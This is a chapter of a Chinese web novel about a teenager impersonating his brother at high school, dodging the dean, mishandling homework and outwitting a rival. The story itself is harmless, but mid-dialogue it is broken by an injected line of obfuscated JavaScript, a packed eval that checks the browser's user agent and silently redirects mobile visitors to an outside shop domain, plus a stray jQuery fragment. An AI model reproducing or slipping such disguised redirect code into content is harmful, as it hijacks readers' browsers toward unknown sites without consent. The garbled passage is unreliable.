教导主任直勾勾地盯着汤振三人,如果不给出一个解释,怕是难以蒙混过关。
千钧一发之际,汤振深吸了一口气,强行切入平稳的语调。
“主任,”汤振态度诚恳,“是我早上上学经过这里的时候订的,我让老板提前煮好。我们一下课就马上跑过来了,所以才能这么快吃上。多耽误一会儿,面条就坨了……”
教导主任神色微变,不再理会汤振,只转过身,大步走向正在炉火前忙碌的面馆老板。
老板是个五大三粗的男人,却也整整齐齐地戴着厨师帽和透明塑料口罩,系着一条看不出底色的围裙,手法熟练地捞起一碗又一碗的面条,热气腾腾的白雾后面,老板黝黑的脸庞若隐若现。
“老板,”教导主任喊道:“那边坐着的三个学生,是今天早上路过的时候,跟你口头订的餐吗?”
汤振只感觉握拳的手心渗出了一层薄汗,这种生意红火的饭馆老板通常能清楚地记得每个顾客,如果他说一句“他们是发短信订的”,那今天就在这里崩盘了。
老板挥着长柄大勺的手停了一下,他放下手中的活儿,上下打量了一番教导主任那身格格不入的职业装,又瞥了一眼坐在角落里大气都不敢出的三个男生。
汤振心里已经做好了写检讨的准备了。
接着,老板用脖子上的白色毛巾擦了一下额头,透明塑料口罩的后面,露出一种不耐烦却又极其市侩的表情。
“是啊,”老板大着嗓门嚷嚷道:“就那个,个子最高的那个,早上七点在我这儿订的,当时我刚起床备菜呢,我能不记得吗?怎么,现在学生吃个面,学校还要管人家是怎么点菜的?”
听见老板说的话,汤振紧绷的心情骤然放松,长舒了一口气。
汤振几乎忍不住笑出声来,心里已经把这家店当成了长期备选。
教导主任“哦”了一声,将目光从老板脸上移开,脸色变了又变,但最终还是恢复了平静。
扫视店里一圈后,教导主任又朝老板道:
“饭店的卫生也注意一下吧,来你这儿吃的大多都是学生,要是谁吃出问题了,我会建议学校禁止学生中午到校外来吃饭。”
说完,教导主任便转身踩着“哒哒”的皮鞋声走出了面馆。
直到那压迫感十足的背影消失,面馆里的时间才重新开始流动。
蒋朋无力地靠在在椅子背上,“太吓人了,磊哥,你……你可别怪我,都是我太蠢了。”
汤振摆摆手,没跟蒋朋计较,目光随后和老板对视上,汤振远远冲着老板竖了个大拇指,“谢谢啊,老板。”
老板低着头,熟练地往锅里撒着葱花,连眼皮都没抬,大声回应道:
“小意思,开门做生意的,最烦别人挡财路。不过你小子以后机灵点儿,别再让人把火烧到我店里来。”
汤振笑了笑,“没问题!”
这顿饭的后半段三人吃得提心吊胆。
“教导主任这学期怎么变得这么严格?”姜岩一边嗦着面一边问道。
蒋朋也摇摇头,“只知道是上学期期末的时候有学生出了意外,市领导也对学校很不满意,可能是这个原因吧。”
“你初中也是这个学校的么?”汤振问道。
“不是,但这种事情,多多少少都会听说一些。”蒋朋答道。
汤振点了点头,“看来以后还真要小心这个教导主任才行。”
几人埋着头迅速将面条吃得干干净净,起身付了钱,离开了饭馆。
一整个下午,汤振也试过和于浩宁搭话,但于浩宁总爱答不理的,汤振索性认真听起了课,毕竟一个月后就是高中的首次月考,自己既然接了这个“替身”任务,月考自然是要尽量拿高分的。
漫长的下午逐渐过去,太阳沉到了山的那边,短暂的余晖如一层金色薄雾,挂在浥鸣县上空。
天色越来越暗,暗黄的灯光一盏接着一盏,在整个县城的窗户中亮起。
夜空已挂满繁星,那些像飞蛾一样在街道上穿梭的汽车,也彻底融入了这漆黑的夜幕中,汤振和于浩宁穿过一个个街口,一路无话,回到了家。
两人坐在各自的书桌上,听着卧室里的白炽灯发出轻微的电流声。于浩宁背挺得笔直,手里的签字笔把草稿纸划得沙沙作响。汤振反跨着椅子坐在床边,用笔撑着下巴读地理书,同时用余光打量着旁边的于浩宁。
汤振斜着眼,缓缓抬起右脚,用脚尖碰了一下于浩宁的椅子,语气放软了三分,“今天早上这事儿算我欠考虑。但在外面混呢,别人都踩到你脸上了,你要是不亮亮刀子,以后谁都能来踩一脚。所以……你就当我是在替你哥立威吧。”
于浩宁“唉”了一声,平缓道:“立威也不是这么立的,毕竟这里也不是街头了。先不说这些了吧,明天地理老师还要继续抽查你呢,要是连今天讲的基础知识都背不下来,明天可能又要让老师起疑心了。”
“行,我今晚不睡了,”汤振心里也松了口气,边说边把书包拿了过来,准备拿出直尺在书上勾勾画画。
拉开拉链的瞬间,一束白色的反光照进了汤振的视线。
汤振的手僵在了半空。
那是一沓整整齐齐的A4纸,最上面的一张页眉上,用手写笔迹赫然写着“9月2日晚作业”。
汤振的眼神骤然一震,一阵凉意顺着脊椎爬了上来。他终于想起来,上午大课间的时候,和别人聊着天,顺手把地理老师让他发给全班的作业塞进了自己的书包里。
现在,这些作业都被汤振背回了家。
“我服了,”汤振一巴掌拍在额头上。
于浩宁皱了皱眉,“又怎么了嘛?”
汤振僵硬地转身,像拿着易燃易爆物一样,把那沓A4纸缓缓举了起来。
两秒钟的沉默后,卧室里传出一声低吼:
“啊——你第一天当地理课代表,就把全班的地理作业带回家了!”
“我的错,我的错,快赶紧想想补救办法!”汤振将作业放在了于浩宁的书桌上。
“发学校论坛里呗。”于浩宁不紧不慢地说道。
“好多人压根儿没手机。”汤振板着脸道。
于浩宁思索片刻,“我们班有四十多个人,对吧?”
“所以……咱要挨个打电话告诉他们题目吗?”
“也不是不行,”于浩宁眼神明亮起来,“班主任有文件登记了所有家长的电话号码,我们拜托班主任给我们念一遍。然后把全班分成几组,我俩先给十个人打电话读题目,我打五个,你打五个,再让他们给另外一组的五个人读题目……这样一层一层分下来,要不了多久就能让全班知道题目。”
汤振又问道:“挨个记录全班家长的电话太麻烦了吧?直接让老师拍一张家长电话号码的照片发学校论坛里呗,再把贴子设置为指定我俩可见。”
“我可不想让班主任知道我玩手机,更不想让她知道我的论坛账号。”于浩宁翻了个白眼。
“就说我们是用家长的手机号注册的一个新账号呗!”汤振催促道。
“好吧好吧……”于浩宁只得悻悻地给班主任打了电话,说清了缘由。
接下来的一个小时,卧室里彻底变成了“客服中心”。
“喂,您好,蒋朋的妈妈吗?哦,我是汤……于浩磊。今天地理作业是……”
“喂,您好,我是……”
“第三题是……”
“听得清楚吗,是这样的……”
“对,姜岩,你真聪明!就是这样,你再给这五个人打电话,然后让他们再……”
虽然分别只给五个人打了电话,但时间还是花了差不多一个小时,已经晚上10点了,汤振不知道这样分发下去的任务执行完毕需要等到几点钟,总之自己的任务算是完成了。
等两人做完题,已是晚上10点半,更别提其他同学了。
汤振拿起桌上的水杯猛灌了一大口,长长地吐出一口气。
于浩宁看着汤振满头大汗的样子,忍俊不禁,两人终于能好好睡个觉了。
“其实,”于浩宁的手指无意识地抠着书桌边缘,“今天中午我一个人吃饭的时候想了想,当初是我求着你来伪装身份帮我的。”
汤振微微一怔,点了点头,“呃……嗯。”
“所以我不应该强求你完全按照我的方式做事,活得像个提线木偶。”于浩宁接着说道。
汤振把空水杯轻放在了桌上,捏了捏鼻尖,道:“好了好了,酸不拉唧的。既然咱俩是合伙人,就得互相兜底。我帮你把人设立住,你帮我搞定这些函数、太阳系和加速度,扯平了。”
于浩宁疲惫地一笑,将桌上的那一沓A4纸还给了汤振,“喏,拿回去,现在我看着这个作业就烦!”
时近午夜,街道上的车辆和行人越来越少,空中的星光似乎又亮了许多,于浩宁家里卧室的灯光也在这个时候熄灭了。
9月3日早晨。
在去学校的路上,汤振脑子里回荡的似乎都还是昨晚打电话的声音,于浩宁一脸没睡醒的样子,无精打采地走在汤振右边。
教室的门被推开,一丝轻微的凉意随之吹入教室。
这是开学以来的第二节地理课,气氛仿佛比昨天更僵硬。
地理老师双手撑在讲台上,目光如炬地盯着坐在前排的汤振。
全班同学的课桌上,整整齐齐地摆放着A4纸、草稿纸和从练习本上撕下来作业纸,上面密密麻麻写着答案。
“于浩磊!”老师声音冷冷道:“你真是给了我一个巨大的惊喜!我教这么年书,见过不写作业的,见过抄作业的,但我还是第一次见到,第一天当课代表,就把全班作业打包带回家的!”
全班想笑又不敢笑,只看得到每个人的肩膀都一耸一耸的。
汤振从座位上站了起来,背挺得笔直,极其熟练地鞠了一躬,“老师,这事全怪我。昨天拿到试卷后,我满脑子都在思考您课上讲的太阳系运行规律,一不留神就把它当成自己的课本塞包里了。我昨晚挨个打电话通知了全班同学,保证没有一个人不知道作业!”
“哈哈哈……”全班终于忍不住,排山倒海般爆发出笑声。
“都给我安静,闭嘴!”
老师怒吼一声,把教棍敲得咚咚响,刚想继续发火,突然:
“——所以,我们千万不要做一个抠门的人,因为经常抠门,门会坏掉……”
这个声音,毫无征兆地从地理老师的扩音器里传了出来,在安静的教室里简直像是一颗手榴弹。
老师整个人吓得猛地后退了一步,腰间的扩音器还在疯狂震动:
“——现在,大家跟我一起摇摆起来,一起摇摆,一起摇摆!”
全场鸦雀无声,所有人都惊恐地瞪大了眼睛。
一秒钟后,教室里爆发出了比刚才还要夸张的狂笑声,有人笑得直不起腰,直拍桌子。
老师手忙脚乱地关掉扩音器的电源,整张脸“唰”地涨成了猪肝色,整张脸扭曲得游戏里的大Boss。
“谁?!”老师一声狮吼:“是谁偷偷玩手机?蓝牙连到我的扩音器上面了!”
汤振强忍着笑意,敏锐的余光却捕捉到了右手边的一个细微动作。
跟自己隔着一个过道的丁航,正满头大汗地将双手藏在课桌抽屉里,慌乱地做着什么动作,抽屉里还隐隐约约发出一阵微光。
汤振挑了挑眉,身体微微向右倒,用只有两人能听见的声音道:“昨天还说我呢,你不也偷偷带到学校来吗?”
丁航的身体猛地一僵,转过头死死地瞪了一眼汤振,咬牙切齿地抿了抿嘴唇,随后便调整好了坐姿,仿佛什么也没发生过。
讲台上,地理老师气急败坏地走了几个来回,“都不承认是吧?学校规定不能搜身,好,你们长能耐了!”
老师猛地转过身,拿起粉笔在黑板上重重地敲了两下。
“既然你们精力这么旺盛,那我们先不上课了,现在就开始随机抽查!谁要是回答不上来,就准备受罚吧,昨天的课文抄三遍!”
说完,老师深吸了一口气,平复了一下情绪,指了指讲桌旁边,“于浩磊,你上来帮老师把投影仪调出来。”
“好嘞,老师。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575462|205002||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”汤振从座位上站起来,大步走向讲台,他满是笔记的地理书孤零零地躺在课桌上。
“都把书翻开,看看你们昨天记的笔记到底记得怎么样。”老师说道。
教室里迅速响起一阵翻书声和惊呼声,紧张的气氛似乎随着翻书声流动到了教室里的每一个角落。
就在汤振走向讲台的几秒钟里,右侧的丁航眼神里闪过一丝阴狠,飞快地伸出手,将自己桌上一本崭新得连折痕都没有的地理书扔到了汤振的课桌上,再一把将汤振的地理书夺了过去。
一分钟后,汤振弄好投影仪,回到了座位上。
老师目光如电,望了一圈教室,“好了,安静,现在开始抽查!”
汤振回到了座位坐下,随手翻开桌上的地理书,心想:正好趁老师提问别人的时候,把昨晚背过的知识点再浏览一遍。
书页翻开。
第一页,怎么是空白的?
第二页,除了印刷的黑体字,干干净净,连一个标点符号的笔记都没有。
汤振的目光瞬间凝聚了一股力量,他转过头,余光瞥见丁航手中的地理书上密密麻麻的熟悉的字迹。
就在这时,老师走下了讲台,刚好停在汤振的课桌旁,瞥了一眼汤振翻开的书。
“吔,于浩磊,你这书怎么比脸还干净?”
老师本就在气头上,说话更是字字清晰:“那就从你这个课代表开始抽查,站起来,今天可别给我扯什么湿木头点不着火的废话!你回答一下,太阳辐射的能量来源是什么?”
汤振余光瞥了一眼神色平静的丁航,又看了看表情严肃的老师。
“太阳内部核聚变。”汤振从容地答道。
“地球什么时候到达近日点?”
“每年一月。”
“什么是行星?”
“通常指自身不发光、一般环绕恒星公转且能依靠自身引力清空轨道的球状天体。”
“恒星是什么?”
“是由高温等离子体构成的天体,其核心通过氢核聚变反应持续释放能量,以电磁辐射形式向外辐射光和热。”
地理老师严肃的表情慢慢放松了下来,最后变成了欣慰。
汤振答完,冲老师露出了一个人畜无害的微笑。
教室里一片安静。
老师轻轻抬手拍了拍汤振的肩膀,“这还差不多,这才是我前两年听说过的那个学霸嘛!还以为你失踪一年知识都忘光了,看来底子还在。”
汤振的笑意逐渐收了起来,随后目光看向了右边的丁航。
汤振平静地开口道:“谢谢老师,从现在起,我一定认真记笔记,毕竟好记性不如烂笔头嘛。我应该向丁航同学学习,他的书上密密麻麻全是标记和重点,连边角都写满了。他记了这么多笔记,肯定什么都知道,他是我学习的榜样。”
丁航平静的神色瞬间露出了一丝慌乱。
老师顺着汤振的手指看了过去,果然看到丁航的桌上摊着一本写满批注的地理书。
“哦,是吗?”老师推了推鼻梁上的眼镜,夸赞道:“确实做得不错,那丁航来回答下一个问题,你说说地球自转的线速度和角速度规律!”
丁航眼睛瞪得老大,慢慢吞吞地站了起来:
“呃,线速度……是指经线和纬线的……”
“一派胡言!”
老师刚整理好的表情又乱了起来,“笔记做得那么好看,脑子里装的全是浆糊,你,把第一节课的内容抄三遍!”
“啊,老师,我……”丁航意欲解释。
“别找借口了,”老师打断丁航道:“晚自习把抄好的交给我。好了,同学们,我们接着上课!”
汤振没有和丁航把书换回来,一整节课都在丁航的书上认认真真写着笔记。
“叮铃铃——”
下课铃响后,丁航像霜打的茄子一样半卧在了座位上。
于浩宁凑到汤振耳边,“记性果然很好,不过你的书是怎么回事?”
汤振冷哼了一声,伸出手,隔着过道将自己的地理书抽了回来,同时把写满了第二课笔记的书递到了丁航的耳边。
“喏,还给你,我好心帮你记了这节课的笔记,你回去之后认真复习一下吧,”汤振笑道。
丁航咬着牙,一把将自己的地理书拿了回去,压低声音道:“你别得意,你还是小心你的手机别被老师发现吧!”
“那你也小心点,”汤振双手抱臂坐在座位上,语气舒坦:“昨天我用手机订餐,今天你用蓝牙连老师的扩音器,咱俩手里都有对方的把柄,你爱怎么着就怎么着吧!”
丁航看着汤振似笑非笑的眼睛,喉结上下动了一下,不再说话,起身出了教室。
课间操的铃声也响了起来,大家陆陆续续地出了教室,脸上都挂着一丝不情愿的表情。
这时,地理老师也收拾完了教具,从讲台上走了下来。
“于浩磊,跟我来一下办公室。”
汤振立刻收起戾气,乖乖跟着老师来到了走廊上。
地理老师揉了揉眉心,“现在正好是大课间,有30分钟,你把大家交上来的作业拿去我桌子上放着吧。”
“好的老师,没问题。”
地理老师将教具和作业递给汤振,尴尬地笑道:“我先去个洗手间。你先去我的办公室,把我抽屉里那堆已经改好的开学考试卷子拿出来,然后拿去综合教研办公室交给陈老师,她正在统计分数,进去的时候记得喊报告啊,这会儿好多老师都在里面。”
“陈老师?”汤振惊道。
“对,就是你高一时候的地理老师,她现在在带高三,要拿那堆卷子去统分,你赶紧拿去给她。”
说完,地理老师一阵小跑,走向了走廊尽头的洗手间。
汤振独自呆站在走廊上,任由其余同学一个个从身边经过。
穿堂风吹在汤振身上,只觉后背一阵寒冷。
陈老师长啥样?自己根本不认识。
汤振脑子里一片空白:不管那么多了,先去了再说!
深吸了一口气,汤振硬着头皮朝走廊那边走了过去。